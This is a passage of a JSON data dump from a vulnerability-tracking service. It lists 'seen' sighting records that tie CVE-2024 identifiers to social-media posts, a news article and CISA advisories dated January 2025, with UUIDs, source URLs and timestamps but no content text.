"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123354135342", "content": "", "creation_timestamp": "2025-01-07T04:13:18.949806Z"}, {"uuid": "69f145ff-549e-439a-a4d5-87e6f53f9822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5445onan2m", "content": "", "creation_timestamp": "2025-01-07T07:15:58.747112Z"}, {"uuid": "221da85d-7884-4cf1-bb58-a35c2d6a95db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455604962375", "content": "", "creation_timestamp": "2025-01-14T07:10:21.191153Z"}, {"uuid": "91abb938-73e2-4879-8636-97f339793b9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5umwbsds2g", "content": "", "creation_timestamp": "2025-01-07T14:35:02.778965Z"}, {"uuid": "a37365e0-577e-41d9-a54f-116f2bc43ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopeacj3z2t", "content": "", "creation_timestamp": "2025-01-14T07:15:47.009531Z"}, {"uuid": "57bc8d6a-02e8-4882-9b47-52706318cfc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544f27cc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:06.272644Z"}, {"uuid": "cf4b28da-1da2-40c3-8825-8e98d6257692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113833155187442788", "content": "", "creation_timestamp": "2025-01-15T15:48:25.695479Z"}, {"uuid": "970f5a09-29a1-402c-9a52-cca371797b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgtutoe2v2x", "content": "", "creation_timestamp": "2025-01-11T04:15:21.390838Z"}, {"uuid": "696eb169-b86c-4e37-8942-7af18b2c87e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopecjw7g2f", "content": "", "creation_timestamp": "2025-01-14T07:15:48.999293Z"}, {"uuid": "86148048-80c7-4832-902d-37e9339470ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lftcbcvgdh2m", "content": "", "creation_timestamp": "2025-01-16T03:04:48.760796Z"}, {"uuid": "d38751c6-d140-4451-a9e6-2a9b5bcfacd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzlokbh2f", "content": "", "creation_timestamp": "2025-01-07T04:15:35.175457Z"}, {"uuid": "eae5f2ba-9c93-405e-a5e1-590bff7d5130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfoplefh7c2l", "content": "", "creation_timestamp": "2025-01-14T07:19:55.705483Z"}, {"uuid": "3a432665-2cd8-48a0-9bd0-f1e4429a6ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/insightsintothings.bsky.social/post/3lfscl7zzjk2a", "content": "", "creation_timestamp": "2025-01-15T17:36:56.407166Z"}, {"uuid": "08aae496-16f0-4b1e-b7a9-729810149caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzo6ul42a", "content": "", "creation_timestamp": "2025-01-07T04:15:37.768115Z"}, {"uuid": "a326731f-b0dd-40db-82ff-f819d1f6b632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5445onan2m", "content": "", "creation_timestamp": "2025-01-07T07:15:58.752899Z"}, {"uuid": "20a18dfb-6829-4b82-bdf4-54dba20c6e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopefu2gp2n", "content": "", "creation_timestamp": "2025-01-14T07:15:52.371762Z"}, {"uuid": "c105a333-bd1e-4783-8f41-43e942cb68c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzsogp322", "content": "", "creation_timestamp": "2025-01-07T04:15:42.649279Z"}, {"uuid": "4d6d52c3-8df3-4de7-801b-2cbca9f5d11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544aa6zi2m", "content": "", "creation_timestamp": "2025-01-07T07:16:01.296377Z"}, {"uuid": "d137919a-3d97-481b-a95d-165f2852ff89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfs4pw76mj2h", "content": "", "creation_timestamp": "2025-01-15T15:52:56.757456Z"}, {"uuid": "f6c4966a-84a5-4e06-8b59-f7e575f42670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzutskb2m", "content": "", "creation_timestamp": "2025-01-07T04:15:44.768886Z"}, {"uuid": "0db59a64-1563-4bd9-820d-711646066d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2662mn2c", "content": "", "creation_timestamp": "2025-01-07T04:15:54.465910Z"}, {"uuid": "b376127b-e39d-42cf-a440-c2c5792ebafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2afhrn2c", "content": "", "creation_timestamp": "2025-01-07T04:15:57.050590Z"}, {"uuid": "e5376017-7de5-449b-8214-0149b195ebd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2fo5og2l", "content": "", "creation_timestamp": "2025-01-07T04:16:02.450764Z"}, {"uuid": "d79437da-0189-49da-8183-9b3d00b05d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544aa6zi2m", "content": "", "creation_timestamp": "2025-01-07T07:16:01.321048Z"}, {"uuid": "e852044c-46a2-4ef7-be87-21bb49ba48df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544hjzyc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:08.841228Z"}, {"uuid": "13ee998c-694a-446c-9940-04594514d43a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5uzns2gk2g", "content": "", "creation_timestamp": "2025-01-07T14:42:05.442370Z"}, {"uuid": "b181dec7-e422-4e9a-85dd-ef99106008db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgvhoos4k2i", "content": "", "creation_timestamp": "2025-01-11T04:43:47.177572Z"}, {"uuid": "598642b9-88e9-4c51-a43a-6f21a41a0281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzx2f7l22", "content": "", "creation_timestamp": "2025-01-07T04:15:47.833510Z"}, {"uuid": "ecba4c18-b865-4863-8de9-a39b13e1e574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544chwca25", "content": "", "creation_timestamp": "2025-01-07T07:16:03.683506Z"}, {"uuid": "aab473e8-1f23-4882-a236-c1b6c4848545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5v4w46qk2g", "content": "", "creation_timestamp": "2025-01-07T14:43:53.314746Z"}, {"uuid": "a95e8599-4327-48a2-9156-47d0663a1db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzzbyr62m", "content": "", "creation_timestamp": "2025-01-07T04:15:49.449312Z"}, {"uuid": "aec4ed25-11a6-4121-b159-4b7b0e439921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544chwca25", "content": "", "creation_timestamp": "2025-01-07T07:16:03.688892Z"}, {"uuid": "a3692162-c91d-427a-b25f-030e11cc315e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808208981525101", "content": "", "creation_timestamp": "2025-01-11T06:04:16.656342Z"}, {"uuid": "cf8798ef-f44d-4f61-bac0-8a76a40a101e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-617e1e9a-420e913529f35003", "content": "", "creation_timestamp": "2025-01-14T09:40:31.532009Z"}, {"uuid": "503ec787-f5b1-4379-98ec-a754594f7ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfs4pws54n2q", "content": "", "creation_timestamp": "2025-01-15T15:52:59.817367Z"}, {"uuid": "33e24aaa-cd15-4db5-a19c-e25890015535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s23noby2i", "content": "", "creation_timestamp": "2025-01-07T04:15:52.352022Z"}, {"uuid": "9933d087-136b-4a9a-9426-2c32ac97f609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544f27cc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:06.275580Z"}, {"uuid": "75b23777-5786-4b1c-bedb-ec858fd4d16f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfh2lyvdww2x", "content": "", "creation_timestamp": "2025-01-11T06:15:40.637792Z"}, {"uuid": "85b7874f-ec76-4a2c-b2e7-c2056441cc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2ct3im25", "content": "", "creation_timestamp": "2025-01-07T04:15:59.857165Z"}, {"uuid": "924da94a-9087-44a9-a6f3-decc50993887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544hjzyc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:08.822794Z"}, {"uuid": "4a4b60d8-8ed7-4568-bd05-84859d8e4747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:48.949478Z"}, {"uuid": "13bd15c9-f94e-40b4-a1f3-26b3c6961d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:48.983094Z"}, {"uuid": "8c3e789c-f2a6-43db-afc8-01e5ead96c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.019152Z"}, {"uuid": "fb4cad88-8445-4555-8485-713a97ba449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.053057Z"}, {"uuid": "c9da7f7e-1adc-42cd-bd9a-54535d41afd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.088732Z"}, {"uuid": "6549ae1a-83d4-44dd-88a3-8f9005e9b208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.124149Z"}, {"uuid": "d7f12845-d5cf-44a9-8748-e1a3b0f266c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2i2iez2k", "content": "", "creation_timestamp": "2025-01-07T04:16:04.945082Z"}, {"uuid": "ad91d7b0-a6b0-4f0d-8e66-895b076801db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfh4hglgf52g", "content": "", "creation_timestamp": "2025-01-11T06:48:54.624070Z"}, {"uuid": "de6ab8a0-7dd2-4276-aa9e-21377014ab69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537120398503", "content": "", "creation_timestamp": "2025-01-13T06:05:08.558458Z"}, {"uuid": "6b38c7cb-3e10-41da-ae66-388c6f098296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqujv6d32k", "content": "", "creation_timestamp": "2025-01-14T07:42:47.122119Z"}, {"uuid": "a5fe12e5-194a-46dc-ab49-087a2194bc13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785182357877434", "content": "", "creation_timestamp": "2025-01-07T04:28:16.551994Z"}, {"uuid": "b3a4a11d-8f4c-4ae1-91fc-7494d8974630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537157281010", "content": "", "creation_timestamp": "2025-01-13T06:05:09.115398Z"}, {"uuid": "d6f23ea4-bf7e-4223-b0d9-68c56fca2eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqukgdir2h", "content": "", "creation_timestamp": "2025-01-14T07:42:47.898567Z"}, {"uuid": "f10d9190-c3a9-4808-aacb-2c94717c41c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfagmgzces2m", "content": "", "creation_timestamp": "2025-01-08T15:02:02.703845Z"}, {"uuid": "b89d034c-ec9b-4935-9ad4-662b003e78a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537173124576", "content": "", "creation_timestamp": "2025-01-13T06:05:09.541985Z"}, {"uuid": "2c82561d-0c4a-4eab-ab8e-f5d925052d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqukkcno2w", "content": "", "creation_timestamp": "2025-01-14T07:42:48.398623Z"}, {"uuid": "7afa1095-ecfb-40dd-a228-e6c3d907549e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoquknkwz2h", "content": "", "creation_timestamp": "2025-01-14T07:42:48.907353Z"}, {"uuid": "178f2a29-9c0e-4111-b633-0ecbd76c83de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785261692193487", "content": "", "creation_timestamp": "2025-01-07T04:48:27.496630Z"}, {"uuid": "8c47c1e1-c437-4dc0-abca-861046c7e57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878761539148", "content": "", "creation_timestamp": "2025-01-07T07:25:23.241914Z"}, {"uuid": "71a8b8ce-65b6-4827-bb52-4e8c4e95f557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hpzlcm2r", "content": "", "creation_timestamp": "2025-01-07T17:48:49.128617Z"}, {"uuid": "dd97454c-5a03-4893-986c-8f9fb3ae458b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113825605649943834", "content": "", "creation_timestamp": "2025-01-14T07:48:27.127411Z"}, {"uuid": "93c85c1c-9c2c-481f-9e9c-faf96ec9f4ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/randomuserid.bsky.social/post/3lfprjmonf226", "content": "", "creation_timestamp": "2025-01-14T17:27:14.871677Z"}, {"uuid": "99df64b4-1058-45f6-be97-82d1a539e322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878731395996", "content": "", "creation_timestamp": "2025-01-07T07:25:23.368323Z"}, {"uuid": "b32c0b87-3ba9-429d-bab0-6d99cc1a7fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/xeiaso.net/post/3lfpxew7fyx2s", "content": "", "creation_timestamp": "2025-01-14T19:11:58.937203Z"}, {"uuid": "3f499dec-c311-4a83-9235-60ffc3b0bbd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878746373359", "content": "", "creation_timestamp": "2025-01-07T07:25:24.255460Z"}, {"uuid": "4d87cff5-6a7c-4fa1-ba9e-c7814599a23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557908399955", "content": "", "creation_timestamp": "2025-01-13T06:10:25.873262Z"}, {"uuid": "c6110232-a94e-4cfb-9023-ea4b3a0d3894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhs53rs2c", "content": "", "creation_timestamp": "2025-01-07T05:17:12.934943Z"}, {"uuid": "6284c66b-efd8-43e4-9626-045bf90f8e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113805753653456342", "content": "", "creation_timestamp": "2025-01-10T19:39:49.594339Z"}, {"uuid": "dd338051-86bb-4cf0-aaa4-874c5322b8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557938681426", "content": "", "creation_timestamp": "2025-01-13T06:10:26.492242Z"}, {"uuid": "c54c1126-75ad-46f3-8825-ac982dc83ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://thehackernews.com/2025/01/cisa-adds-new-beyondtrust-flaw-to-kev.html", "content": "", "creation_timestamp": "2025-01-14T02:21:00.000000Z"}, {"uuid": "baab97c9-77f1-4e8d-8ba0-85a9d1915662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgqnudb2m", "content": "", "creation_timestamp": "2025-01-07T05:16:37.872950Z"}, {"uuid": "ad06ae2c-6ecb-443c-aae9-729831135d48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "6bad9b5a-a0e7-4193-a404-9fd4a60a2f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "0810f8f4-7d5e-45c2-b42f-f58507ff65f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "0ea773a6-d029-4491-a46a-089567613446", "vulnerability_lookup_origin": 